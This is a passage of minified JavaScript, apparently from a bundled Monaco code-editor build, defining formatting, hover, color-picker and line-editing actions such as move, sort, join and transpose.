0):c.asWinJsPromise(function(n){return s.provideOnTypeFormattingEdits(e,t,i,o,n)}).then(function(e){return e},n.onUnexpectedExternalError):r.TPromise.as(void 0)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getDocumentRangeFormattingEdits=d,t.getDocumentFormattingEdits=h,t.getOnTypeFormattingEdits=p,a.CommonEditorRegistry.registerLanguageCommand(\"_executeFormatRangeProvider\",function(e,t){var o=t.resource,r=t.range,a=t.options;if(!(o instanceof i.default&&s.Range.isIRange(r)))throw n.illegalArgument();var u=e.get(l.IModelService).getModel(o);if(!u)throw n.illegalArgument(\"resource\");return d(u,s.Range.lift(r),a)}),a.CommonEditorRegistry.registerLanguageCommand(\"_executeFormatDocumentProvider\",function(e,t){var o=t.resource,r=t.options;if(!(o instanceof i.default))throw n.illegalArgument(\"resource\");var s=e.get(l.IModelService).getModel(o);if(!s)throw n.illegalArgument(\"resource\");return h(s,r)}),a.CommonEditorRegistry.registerDefaultLanguageCommand(\"_executeFormatOnTypeProvider\",function(e,t,i){var o=i.ch,r=i.options;if(\"string\"!=typeof o)throw n.illegalArgument(\"ch\");return p(e,t,o,r)})}),define(d[460],h([1,0,350,33,40,3,7,19,13,17,459,258,31,42,61,89,2,51,131,21]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,C,b,w){\"use strict\";function S(e){if((e=e.filter(function(e){return e.range})).length){for(var t=e[0].range,i=1;i<e.length;i++)t=_.Range.plusRange(t,e[i].range);var o=t.startLineNumber,r=t.endLineNumber;o===r?1===e.length?C.alert(n.localize(0,null,o)):C.alert(n.localize(1,null,e.length,o)):1===e.length?C.alert(n.localize(2,null,o,r)):C.alert(n.localize(3,null,e.length,o,r))}}Object.defineProperty(t,\"__esModule\",{value:!0});(function(){function e(e,t){var n=this;this.editor=e,this.workerService=t,this.callOnDispose=[],this.callOnModel=[],this.callOnDispose.push(e.onDidChangeConfiguration(function(){return n.update()})),this.callOnDispose.push(e.onDidChangeModel(function(){return n.update()})),this.callOnDispose.push(e.onDidChangeModelLanguage(function(){return n.update()})),this.callOnDispose.push(l.OnTypeFormattingEditProviderRegistry.onDidChange(this.update,this))}return t=e,e.prototype.update=function(){var e=this;if(this.callOnModel=r.dispose(this.callOnModel),this.editor.getConfiguration().contribInfo.formatOnType&&this.editor.getModel()){var t=this.editor.getModel(),n=l.OnTypeFormattingEditProviderRegistry.ordered(t)[0];if(n&&n.autoFormatTriggerCharacters){for(var i=new m.CharacterSet,o=0,s=n.autoFormatTriggerCharacters;o<s.length;o++){var a=s[o];i.add(a.charCodeAt(0))}this.callOnModel.push(this.editor.onDidType(function(t){var n=t.charCodeAt(t.length-1);i.has(n)&&e.trigger(String.fromCharCode(n))}))}}},e.prototype.trigger=function(e){var t=this;if(!(this.editor.getSelections().length>1)){var n=this.editor.getModel(),o=this.editor.getPosition(),r=!1,s=this.editor.onDidChangeModelContent(function(e){if(e.isFlush)return r=!0,void s.dispose();for(var t=0,n=e.changes.length;t<n;t++)if(e.changes[t].range.endLineNumber<=o.lineNumber)return r=!0,void s.dispose()}),a=n.getOptions();c.getOnTypeFormattingEdits(n,o,e,{tabSize:a.tabSize,insertSpaces:a.insertSpaces}).then(function(e){return t.workerService.computeMoreMinimalEdits(n.uri,e,[])}).then(function(e){s.dispose(),r||i.isFalsyOrEmpty(e)||(d.EditOperationsCommand.execute(t.editor,e),S(e))},function(e){throw s.dispose(),e})}},e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this.callOnDispose=r.dispose(this.callOnDispose),this.callOnModel=r.dispose(this.callOnModel)},e.ID=\"editor.contrib.autoFormat\",e=t=v([u.commonEditorContribution,y(1,g.IEditorWorkerService)],e);var t})(),function(){function e(e,t){var n=this;this.editor=e,this.workerService=t,this.callOnDispose=[],this.callOnModel=[],this.callOnDispose.push(e.onDidChangeConfiguration(function(){return n.update()})),this.callOnDispose.push(e.onDidChangeModel(function(){return n.update()})),this.callOnDispose.push(e.onDidChangeModelLanguage(function(){return n.update()})),this.callOnDispose.push(l.DocumentRangeFormattingEditProviderRegistry.onDidChange(this.update,this))}return t=e,e.prototype.update=function(){var e=this;if(this.callOnModel=r.dispose(this.callOnModel),this.editor.getConfiguration().contribInfo.formatOnPaste&&this.editor.getModel()){var t=this.editor.getModel(),n=l.DocumentRangeFormattingEditProviderRegistry.ordered(t)[0];n&&n.provideDocumentRangeFormattingEdits&&this.callOnModel.push(this.editor.onDidPaste(function(t){e.trigger(t)}))}},e.prototype.trigger=function(e){var t=this;if(!(this.editor.getSelections().length>1)){var n=this.editor.getModel(),o=n.getOptions(),r=o.tabSize,s=o.insertSpaces,a=new b.EditorState(this.editor,5);c.getDocumentRangeFormattingEdits(n,e,{tabSize:r,insertSpaces:s}).then(function(e){return t.workerService.computeMoreMinimalEdits(n.uri,e,[])}).then(function(e){a.validate(t.editor)&&!i.isFalsyOrEmpty(e)&&(d.EditOperationsCommand.execute(t.editor,e),S(e))})}},e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this.callOnDispose=r.dispose(this.callOnDispose),this.callOnModel=r.dispose(this.callOnModel)},e.ID=\"editor.contrib.formatOnPaste\",e=t=v([u.commonEditorContribution,y(1,g.IEditorWorkerService)],e);var t}();var E=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.run=function(e,t){var n=e.get(g.IEditorWorkerService),o=this._getFormattingEdits(t);if(!o)return s.TPromise.as(void 0);var r=new b.EditorState(t,5);return o.then(function(e){return n.computeMoreMinimalEdits(t.getModel().uri,e,t.getSelections())}).then(function(e){r.validate(t)&&!i.isFalsyOrEmpty(e)&&(d.EditOperationsCommand.execute(t,e),S(e),t.focus())})},t}(u.EditorAction);t.AbstractFormatAction=E;var L=function(e){function t(){return e.call(this,{id:\"editor.action.formatDocument\",label:n.localize(4,null),alias:\"Format Document\",precondition:a.ContextKeyExpr.and(w.EditorContextKeys.writable,w.EditorContextKeys.hasDocumentFormattingProvider),kbOpts:{kbExpr:w.EditorContextKeys.textFocus,primary:1572,linux:{primary:3111}},menuOpts:{group:\"1_modification\",order:1.3}})||this}return f(t,e),t.prototype._getFormattingEdits=function(e){var t=e.getModel(),n=t.getOptions(),i=n.tabSize,o=n.insertSpaces;return c.getDocumentFormattingEdits(t,{tabSize:i,insertSpaces:o})},t=v([u.editorAction],t)}(E);t.FormatDocumentAction=L;var x=function(e){function t(){return e.call(this,{id:\"editor.action.formatSelection\",label:n.localize(5,null),alias:\"Format Code\",precondition:a.ContextKeyExpr.and(w.EditorContextKeys.writable,w.EditorContextKeys.hasDocumentSelectionFormattingProvider,w.EditorContextKeys.hasNonEmptySelection),kbOpts:{kbExpr:w.EditorContextKeys.textFocus,primary:o.KeyChord(2089,2084)},menuOpts:{group:\"1_modification\",order:1.31}})||this}return f(t,e),t.prototype._getFormattingEdits=function(e){var t=e.getModel(),n=t.getOptions(),i=n.tabSize,o=n.insertSpaces;return c.getDocumentRangeFormattingEdits(t,e.getSelection(),{tabSize:i,insertSpaces:o})},t=v([u.editorAction],t)}(E);t.FormatSelectionAction=x,h.CommandsRegistry.registerCommand(\"editor.action.format\",function(e){var t=e.get(p.ICodeEditorService).getFocusedCodeEditor();if(t)return(new(function(e){function t(){return e.call(this,{})||this}return f(t,e),t.prototype._getFormattingEdits=function(e){var t=e.getModel(),n=e.getSelection(),i=t.getOptions(),o=i.tabSize,r=i.insertSpaces;return n.isEmpty()?c.getDocumentFormattingEdits(t,{tabSize:o,insertSpaces:r}):c.getDocumentRangeFormattingEdits(t,n,{tabSize:o,insertSpaces:r})},t}(E))).run(e,t)})}),define(d[177],h([1,0,10,7,13,17,18]),function(e,t,n,i,o,r,s){\"use strict\";function a(e){return i.TPromise.join(e).then(function(e){for(var t=[],n=0,i=e;n<i.length;n++){var o=i[n];Array.isArray(o)?t.push.apply(t,o):o&&t.push(o)}return t})}function u(e,t,i,o){return a(i.ordered(e).map(function(i,r){return s.asWinJsPromise(function(n){return o(i,e,t,n)}).then(function(e){return e},function(e){n.onUnexpectedExternalError(e)})}))}function l(e,t){return u(e,t,r.DefinitionProviderRegistry,function(e,t,n,i){return e.provideDefinition(t,n,i)})}function c(e,t){return u(e,t,r.ImplementationProviderRegistry,function(e,t,n,i){return e.provideImplementation(t,n,i)})}function d(e,t){return u(e,t,r.TypeDefinitionProviderRegistry,function(e,t,n,i){return e.provideTypeDefinition(t,n,i)})}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getDefinitionsAtPosition=l,t.getImplementationsAtPosition=c,t.getTypeDefinitionsAtPosition=d,o.CommonEditorRegistry.registerDefaultLanguageCommand(\"_executeDefinitionProvider\",l),o.CommonEditorRegistry.registerDefaultLanguageCommand(\"_executeImplementationProvider\",c),o.CommonEditorRegistry.registerDefaultLanguageCommand(\"_executeTypeDefinitionProvider\",d)}),define(d[462],h([1,0,33,10,7,13,17,18]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(e,t){var r=[],u=s.HoverProviderRegistry.ordered(e).map(function(n,o){return a.asWinJsPromise(function(i){return n.provideHover(e,t,i)}).then(function(e){if(e){var t=void 0!==e.range,n=void 0!==e.contents&&e.contents&&e.contents.length>0;t&&n&&(r[o]=e)}},function(e){i.onUnexpectedExternalError(e)})});return o.TPromise.join(u).then(function(){return n.coalesce(r)})}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getHover=u,r.CommonEditorRegistry.registerDefaultLanguageCommand(\"_executeHoverProvider\",u)}),define(d[463],h([1,0,355,24,10,4,7,102,71,2,12,17,122,462,195,196,133,34,242,245,246,247,32,3]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,v,_,y,C,b,w,S,E){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var L=r.$,x=function(){return function(e,t,n,i){this.range=e,this.color=t,this.format=n,this.availableFormats=i}}(),N=function(){function e(e){this._editor=e,this._range=null}return e.prototype.setRange=function(e){this._range=e,this._result=[]},e.prototype.clearResult=function(){this._result=[]},e.prototype.computeAsync=function(){var e=this._editor.getModel();return d.HoverProviderRegistry.has(e)?p.getHover(e,new c.Position(this._range.startLineNumber,this._range.startColumn)):s.TPromise.as(null)},e.prototype.computeSync=function(){var e=this,t=this._range.startLineNumber;if(t>this._editor.getModel().getLineCount())return[];var n=function(e){return e&&(!Array.isArray(e)||e.length>0)},i=this._editor.getModel().getLineMaxColumn(t);return this._editor.getLineDecorations(t).map(function(o){var r=o.range.startLineNumber===t?o.range.startColumn:1,s=o.range.endLineNumber===t?o.range.endColumn:i;if(r>e._range.startColumn||e._range.endColumn>s)return null;var a=new l.Range(e._range.startLineNumber,r,e._range.startLineNumber,s),u=o.options,c=u&&u.extraOptions;if(b.isColorDecorationOptions(c)){var d=c.color,h=c.format,p=c.availableFormats;return new x(a,d,h,p)}if(!n(o.options.hoverMessage))return null;var f=void 0;return o.options.hoverMessage&&(f=Array.isArray(o.options.hoverMessage)?o.options.hoverMessage.slice():[o.options.hoverMessage]),{contents:f,range:a}}).filter(function(e){return!!e})},e.prototype.onResult=function(e,t){this._result=t?e.concat(this._result.sort(function(e,t){return e instanceof x?-1:t instanceof x?1:0})):this._result.concat(e)},e.prototype.getResult=function(){return this._result.slice(0)},e.prototype.getResultWithLoadingMessage=function(){return this._result.slice(0).concat([this._getLoadingMessage()])},e.prototype._getLoadingMessage=function(){return{range:this._range,contents:[v.textToMarkedString(n.localize(0,null))]}},e}(),M=function(e){function t(n,i,o){var s=e.call(this,t.ID,n)||this;return s._computer=new N(s._editor),s._highlightDecorations=[],s._isChangingDecorations=!1,s._openerService=i||u.NullOpenerService,s._modeService=o,s._hoverOperation=new g.HoverOperation(s._computer,function(e){return s._withResult(e,!0)},null,function(e){return s._withResult(e,!1)}),s.toDispose=[],s.toDispose.push(r.addStandardDisposableListener(s.getDomNode(),r.EventType.FOCUS,function(){s._colorPicker&&r.addClass(s.getDomNode(),\"colorpicker-hover\")})),s.toDispose.push(r.addStandardDisposableListener(s.getDomNode(),r.EventType.BLUR,function(){r.removeClass(s.getDomNode(),\"colorpicker-hover\")})),s}return f(t,e),t.prototype.dispose=function(){this._hoverOperation.cancel(),this._colorPicker&&this._colorPicker.dispose(),this.toDispose=E.dispose(this.toDispose),e.prototype.dispose.call(this)},t.prototype.onModelDecorationsChanged=function(){this._isChangingDecorations||this.isVisible&&(this._hoverOperation.cancel(),this._computer.clearResult(),this._colorPicker||this._hoverOperation.start())},t.prototype.startShowingAt=function(e,t){if(!this._lastRange||!this._lastRange.equalsRange(e)){if(this._hoverOperation.cancel(),this.isVisible)if(this._showAtPosition.lineNumber!==e.startLineNumber)this.hide();else{for(var n=[],i=0,o=this._messages.length;i<o;i++){var r=this._messages[i],s=r.range;s.startColumn<=e.startColumn&&s.endColumn>=e.endColumn&&n.push(r)}n.length>0?this._renderMessages(e,n):this.hide()}this._lastRange=e,this._computer.setRange(e),this._shouldFocus=t,this._hoverOperation.start()}},t.prototype.hide=function(){this._lastRange=null,this._hoverOperation.cancel(),e.prototype.hide.call(this),this._isChangingDecorations=!0,this._highlightDecorations=this._editor.deltaDecorations(this._highlightDecorations,[]),this._isChangingDecorations=!1,this._colorPicker=null,this._colorPicker&&this._colorPicker.dispose()},t.prototype.isColorPickerVisible=function(){return!!this._colorPicker},t.prototype._withResult=function(e,t){this._messages=e,this._lastRange&&this._messages.length>0?this._renderMessages(this._lastRange,this._messages):t&&this.hide()},t.prototype._renderMessages=function(e,n){var r=this,s=Number.MAX_VALUE,u=n[0].range,d=document.createDocumentFragment();n.forEach(function(e){if(e.range)if(s=Math.min(s,e.range.startColumn),u=l.Range.plusRange(u,e.range),e instanceof x){var t=void 0,n=void 0;\"string\"==typeof e.format?t=new w.ColorFormatter(e.format):(t=new w.ColorFormatter(e.format.opaque),n=new w.ColorFormatter(e.format.transparent));var c=[];e.availableFormats&&e.availableFormats.forEach(function(e){var t;t=\"string\"==typeof e?new w.ColorFormatter(e):{opaqueFormatter:new w.ColorFormatter(e.opaque),transparentFormatter:new w.ColorFormatter(e.transparent)},c.push(t)});var p=e.color,f=p.red,g=p.green,m=p.blue,v=p.alpha,_=new S.RGBA(255*f,255*g,255*m,255*v),b=S.Color.fromRGBA(_),E=new y.ColorPickerModel(_.toString(),b,t,n,c,r._editor.getModel(),e.range),N=r._register(new C.ColorPickerWidget(E,r._editor));E.widget=N,r._colorPicker=N,d.appendChild(N.getDomNode())}else e.contents.filter(function(e){return!!e}).forEach(function(e){var t=a.renderMarkedString(e,{actionCallback:function(e){r._openerService.open(i.default.parse(e)).then(void 0,o.onUnexpectedError)},codeBlockRenderer:function(e,t){var n=e?r._modeService.getModeIdForLanguageName(e):r._editor.getModel().getLanguageIdentifier().language;return r._modeService.getOrCreateMode(n).then(function(e){return h.tokenizeToString(t,n)})}});d.appendChild(L(\"div.hover-row\",null,t))})}),this.showAt(new c.Position(e.startLineNumber,s),this._shouldFocus),this.updateContents(d),this._colorPicker&&(this._colorPicker.layout(),this._colorPicker.layoutSaturationBox()),this._isChangingDecorations=!0,this._highlightDecorations=this._editor.deltaDecorations(this._highlightDecorations,[{range:u,options:t._DECORATION_OPTIONS}]),this._isChangingDecorations=!1},t.ID=\"editor.contrib.modesContentHoverWidget\",t._DECORATION_OPTIONS=_.ModelDecorationOptions.register({className:\"hoverHighlight\"}),t}(m.ContentHoverWidget);t.ModesContentHoverWidget=M}),define(d[464],h([1,0,357,40,266,59,435,21,73,2,22,13,264,265,319,119,134]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var y=function(e){function t(t,n){var i=e.call(this,n)||this;return i.down=t,i}return f(t,e),t.prototype.run=function(e,t){for(var n=[],i=t.getSelections(),o=0;o<i.length;o++)n.push(new h.CopyLinesCommand(i[o],this.down));t.pushUndoStop(),t.executeCommands(this.id,n),t.pushUndoStop()},t}(d.EditorAction),C=(function(e){function t(){return e.call(this,!1,{id:\"editor.action.copyLinesUpAction\",label:n.localize(0,null),alias:\"Copy Line Up\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:1552,linux:{primary:3600}}})||this}f(t,e),t=v([d.editorAction],t)}(y),function(e){function t(){return e.call(this,!0,{id:\"editor.action.copyLinesDownAction\",label:n.localize(1,null),alias:\"Copy Line Down\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:1554,linux:{primary:3602}}})||this}f(t,e),t=v([d.editorAction],t)}(y),function(e){function t(t,n){var i=e.call(this,n)||this;return i.down=t,i}return f(t,e),t.prototype.run=function(e,t){for(var n=[],i=t.getSelections(),o=t.getConfiguration().autoIndent,r=0;r<i.length;r++)n.push(new g.MoveLinesCommand(i[r],this.down,o));t.pushUndoStop(),t.executeCommands(this.id,n),t.pushUndoStop()},t}(d.EditorAction)),b=(function(e){function t(){return e.call(this,!1,{id:\"editor.action.moveLinesUpAction\",label:n.localize(2,null),alias:\"Move Line Up\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:528,linux:{primary:528}}})||this}f(t,e),t=v([d.editorAction],t)}(C),function(e){function t(){return e.call(this,!0,{id:\"editor.action.moveLinesDownAction\",label:n.localize(3,null),alias:\"Move Line Down\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:530,linux:{primary:530}}})||this}f(t,e),t=v([d.editorAction],t)}(C),function(e){function t(t,n){var i=e.call(this,n)||this;return i.descending=t,i}return f(t,e),t.prototype.run=function(e,t){if(o.SortLinesCommand.canRun(t.getModel(),t.getSelection(),this.descending)){var n=new o.SortLinesCommand(t.getSelection(),this.descending);t.pushUndoStop(),t.executeCommands(this.id,[n]),t.pushUndoStop()}},t}(d.EditorAction)),w=(function(e){function t(){return e.call(this,!1,{id:\"editor.action.sortLinesAscending\",label:n.localize(4,null),alias:\"Sort Lines Ascending\",precondition:a.EditorContextKeys.writable})||this}f(t,e),t=v([d.editorAction],t)}(b),function(e){function t(){return e.call(this,!0,{id:\"editor.action.sortLinesDescending\",label:n.localize(5,null),alias:\"Sort Lines Descending\",precondition:a.EditorContextKeys.writable})||this}f(t,e),t=v([d.editorAction],t)}(b),function(e){function t(){return e.call(this,{id:o.ID,label:n.localize(6,null),alias:\"Trim Trailing Whitespace\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:i.KeyChord(2089,2102)}})||this}return f(t,e),o=t,t.prototype.run=function(e,t){var n=new s.TrimTrailingWhitespaceCommand(t.getSelection());t.pushUndoStop(),t.executeCommands(this.id,[n]),t.pushUndoStop()},t.ID=\"editor.action.trimTrailingWhitespace\",t=o=v([d.editorAction],t);var o}(d.EditorAction));t.TrimTrailingWhitespaceAction=w;!function(e){function t(){return e.call(this,{id:\"editor.action.deleteLines\",label:n.localize(7,null),alias:\"Delete Line\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:3113}})||this}f(t,e),t.prototype.run=function(e,t){var n=this._getLinesToRemove(t).map(function(e){return new p.DeleteLinesCommand(e.startLineNumber,e.endLineNumber,e.positionColumn)});t.pushUndoStop(),t.executeCommands(this.id,n),t.pushUndoStop()},t=v([d.editorAction],t)}(function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._getLinesToRemove=function(e){var t=e.getSelections().map(function(e){var t=e.endLineNumber;return e.startLineNumber<e.endLineNumber&&1===e.endColumn&&(t-=1),{startLineNumber:e.startLineNumber,endLineNumber:t,positionColumn:e.positionColumn}});t.sort(function(e,t){return e.startLineNumber-t.startLineNumber});for(var n=[],i=t[0],o=1;o<t.length;o++)i.endLineNumber+1===t[o].startLineNumber?i.endLineNumber=t[o].endLineNumber:(n.push(i),i=t[o]);return n.push(i),n},t}(d.EditorAction));var S=function(e){function t(){return e.call(this,{id:\"editor.action.indentLines\",label:n.localize(8,null),alias:\"Indent Line\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:2137}})||this}return f(t,e),t.prototype.run=function(e,t){t.pushUndoStop(),t.executeCommands(this.id,m.TypeOperations.indent(t._getCursorConfiguration(),t.getModel(),t.getSelections())),t.pushUndoStop()},t=v([d.editorAction],t)}(d.EditorAction);t.IndentLinesAction=S;!function(e){function t(){return e.call(this,{id:\"editor.action.outdentLines\",label:n.localize(9,null),alias:\"Outdent Line\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:2135}})||this}f(t,e),t.prototype.run=function(e,t){_.CoreEditingCommands.Outdent.runEditorCommand(null,t,null)},t=v([d.editorAction],t)}(d.EditorAction);var E=function(e){function t(){return e.call(this,{id:\"editor.action.insertLineBefore\",label:n.localize(10,null),alias:\"Insert Line Above\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:3075}})||this}return f(t,e),t.prototype.run=function(e,t){t.pushUndoStop(),t.executeCommands(this.id,m.TypeOperations.lineInsertBefore(t._getCursorConfiguration(),t.getModel(),t.getSelections()))},t=v([d.editorAction],t)}(d.EditorAction);t.InsertLineBeforeAction=E;var L=function(e){function t(){return e.call(this,{id:\"editor.action.insertLineAfter\",label:n.localize(11,null),alias:\"Insert Line Below\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:2051}})||this}return f(t,e),t.prototype.run=function(e,t){t.pushUndoStop(),t.executeCommands(this.id,m.TypeOperations.lineInsertAfter(t._getCursorConfiguration(),t.getModel(),t.getSelections()))},t=v([d.editorAction],t)}(d.EditorAction);t.InsertLineAfterAction=L;var x=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.run=function(e,t){for(var n=t.getSelection(),i=this._getRangesToDelete(t),o=[],s=0,a=i.length-1;s<a;s++){var u=i[s],d=i[s+1];null===l.Range.intersectRanges(u,d)?o.push(u):i[s+1]=l.Range.plusRange(u,d)}o.push(i[i.length-1]);var h=this._getEndCursorState(n,o),p=o.map(function(e){return h.push(new c.Selection(e.startLineNumber,e.startColumn,e.startLineNumber,e.startColumn)),r.EditOperation.replace(e,\"\")});t.executeEdits(this.id,p,h)},t}(d.EditorAction);t.AbstractDeleteAllToBoundaryAction=x;var N=function(e){function t(){return e.call(this,{id:\"deleteAllLeft\",label:n.localize(12,null),alias:\"Delete All Left\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:null,mac:{primary:2049}}})||this}return f(t,e),t.prototype._getEndCursorState=function(e,t){for(var n,i=[],o=0,r=t.length;o<r;o++){var s=t[o],a=new c.Selection(t[o].startLineNumber,t[o].startColumn,t[o].startLineNumber,t[o].startColumn);s.intersectRanges(e)?n=a:i.push(a)}return n&&i.unshift(n),i},t.prototype._getRangesToDelete=function(e){var t=e.getSelections();return t.sort(l.Range.compareRangesUsingStarts),t=t.map(function(e){return e.isEmpty()?new l.Range(e.startLineNumber,1,e.startLineNumber,e.startColumn):e})},t=v([d.editorAction],t)}(x);t.DeleteAllLeftAction=N;var M=function(e){function t(){return e.call(this,{id:\"deleteAllRight\",label:n.localize(13,null),alias:\"Delete All Right\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:null,mac:{primary:297,secondary:[2068]}}})||this}return f(t,e),t.prototype._getEndCursorState=function(e,t){for(var n,i=[],o=0,r=t.length;o<r;o++){var s=t[o],a=new c.Selection(s.startLineNumber-0,s.startColumn,s.startLineNumber-0,s.startColumn);s.intersectRanges(e)?n=a:i.push(a)}return n&&i.unshift(n),i},t.prototype._getRangesToDelete=function(e){var t=e.getModel(),n=e.getSelections().map(function(e){if(e.isEmpty()){var n=t.getLineMaxColumn(e.startLineNumber);return e.startColumn===n?new l.Range(e.startLineNumber,e.startColumn,e.startLineNumber+1,1):new l.Range(e.startLineNumber,e.startColumn,e.startLineNumber,n)}return e});return n.sort(l.Range.compareRangesUsingStarts),n},t=v([d.editorAction],t)}(x);t.DeleteAllRightAction=M;var T=function(e){function t(){return e.call(this,{id:\"editor.action.joinLines\",label:n.localize(14,null),alias:\"Join Lines\",precondition:a.EditorContextKeys.writable,kbOpts:{kbExpr:a.EditorContextKeys.textFocus,primary:0,mac:{primary:296}}})||this}return f(t,e),t.prototype.run=function(e,t){var n=t.getSelections(),i=t.getSelection();n.sort(l.Range.compareRangesUsingStarts);var o=[],s=n.reduce(function(e,t){return e.isEmpty()?e.endLineNumber===t.startLineNumber?(i.equalsSelection(e)&&(i=t),t):t.startLineNumber>e.endLineNumber+1?(o.push(e),t):new c.Selection(e.startLineNumber,e.startColumn,t.endLineNumber,t.endColumn):t.startLineNumber>e.endLineNumber?(o.push(e),t):new c.Selection(e.startLineNumber,e.startColumn,t.endLineNumber,t.endColumn)});o.push(s);for(var a=t.getModel(),u=[],d=[],h=i,p=0,f=0,g=o.length;f<g;f++){var m=o[f],v=m.startLineNumber,_=void 0,y=void 0,C=void 0,b=a.getLineContent(m.endLineNumber).length-m.endColumn;if(m.isEmpty()||m.startLineNumber===m.endLineNumber){var w=m.getStartPosition();w.lineNumber<a.getLineCount()?(_=v+1,y=a.getLineMaxColumn(_)):(_=w.lineNumber,y=a.getLineMaxColumn(w.lineNumber))}else _=m.endLineNumber,y=a.getLineMaxColumn(_);for(var S=a.getLineContent(v),E=v+1;E<=_;E++){var L=a.getLineContent(E),x=a.getLineFirstNonWhitespaceColumn(E);if(x>=1){var N=!0;\"\"===S&&(N=!1),!N||\" \"!==S.charAt(S.length-1)&&\"\\t\"!==S.charAt(S.length-1)||(N=!1,S=S.replace(/[\\s\\uFEFF\\xA0]+$/g,\" \"));var M=L.substr(x-1);S+=(N?\" \":\"\")+M,C=N?M.length+1:M.length}else C=0}var T=new l.Range(v,1,_,y);if(!T.isEmpty()){var k=void 0;m.isEmpty()?(u.push(r.EditOperation.replace(T,S)),k=new c.Selection(T.startLineNumber-p,S.length-C+1,v-p,S.length-C+1)):m.startLineNumber===m.endLineNumber?(u.push(r.EditOperation.replace(T,S)),k=new c.Selection(m.startLineNumber-p,m.startColumn,m.endLineNumber-p,m.endColumn)):(u.push(r.EditOperation.replace(T,S)),k=new c.Selection(m.startLineNumber-p,m.startColumn,m.startLineNumber-p,S.length-b)),null!==l.Range.intersectRanges(T,i)?h=k:d.push(k)}p+=T.endLineNumber-T.startLineNumber}d.unshift(h),t.executeEdits(this.id,u,d)},t=v([d.editorAction],t)}(d.EditorAction);t.JoinLinesAction=T;var k=function(e){function t(){return e.call(this,{id:\"editor.action.transpose\",label:n.localize(15,null),alias:\"Transpose characters around the cursor\",precondition:a.EditorContextKeys.writable})||this}return f(t,e),t.prototype.run=function(e,t){for(var n=t.getSelections(),i=t.getModel(),o=[],r=0,s=n.length;r<s;r++){var a=n[r];if(a.isEmpty()){var d=a.getStartPosition(),h=i.getLineMaxColumn(d.lineNumber);if(d.column>=h){if(d.lineNumber===i.getLineCount())continue;var p=new l.Range(d.lineNumber,Math.max(1,d.column-1),d.lineNumber+1,1),f=i.getValueInRange(p).split(\"\").reverse().join(\"\");o.push(new u.ReplaceCommand(new c.Selection(d.lineNumber,Math.max(1,d.column-1),d.lineNumber+1,1),f))}else{var p=new l.Range(d.lineNumber,Math.max(1,d.column-1),d.lineNumber,d.column+1),f=i.getValueInRange(p).split(\"\").reverse().join(\"\");o.push(new u.ReplaceCommandThatPreservesSelection(p,f,new c.Selection(d.lineNumber,d.column+1,d.lineNumber,d.column+1)))}}}t.pushUndoStop(),t.executeCommands(this.id,o),t.pushUndoStop()},t=v([d.editorAction],t)}(d.EditorAction);t.TransposeAction=k;var I=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.run=function(e,t){for(var n=t.getSelections(),i=t.getModel(),o=[],r=0,s=n.length;r<s;r++){var a=n[r];if(a.isEmpty()){var d=a.getStartPosition(),h=i.getWordAtPosition(d);if(!h)continue;var p=new l.Range(d.lineNumber,h.startColumn,d.lineNumber,h.endColumn),f=i.getValueInRange(p);o.push(new u.ReplaceCommandThatPreservesSelection(p,this._modifyText(f),new c.Selection(d.lineNumber,d.column,d.lineNumber,d.column)))}else{f=i.getValueInRange(a);o.push(new u.ReplaceCommandThatPreservesSelection(a,this._modifyText(f),a))}}t.pushUndoStop(),t.executeCommands(this.id,o),t.pushUndoStop()},t}(d.EditorAction);t.AbstractCaseAction=I;var D=function(e){function t(){return e.call(this,{id:\"editor.action.transformToUppercase\",label:n.localize(16,null),alias:\"Transform to Uppercase\",precondition:a.EditorContextKeys.writable})||this}return f(t,e),t.prototype._modifyText=function(e){return e.toLocaleUpperCase()},t=v([d.editorAction],t)}(I);t.UpperCaseAction=D;var O=function(e){function t(){return e.call(this,{id:\"editor.action.transformToLowercase\",label:n.localize(17,null),alias:\"Transform to Lowercase\",precondition:a.EditorContextKeys.writable})||this}return f(t,e),t.prototype._modifyText=function(e){return e.toLocaleLowerCase()},t=v([d.editorAction],t)}(I);t.LowerCaseAction=O}),define(d[465],h([1,0,359,21,13,22,54,173,39]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(e){function t(){return e.call(this,{id:\"editor.action.insertCursorAbove\",label:n.localize(0,null),alias:\"Add Cursor Above\",precondition:null,kbOpts:{kbExpr:i.EditorContextKeys.textFocus,primary:2576,linux:{primary:1552,secondary:[3088]}}})||this}return f(t,e),t.prototype.run=function(e,t,n){var 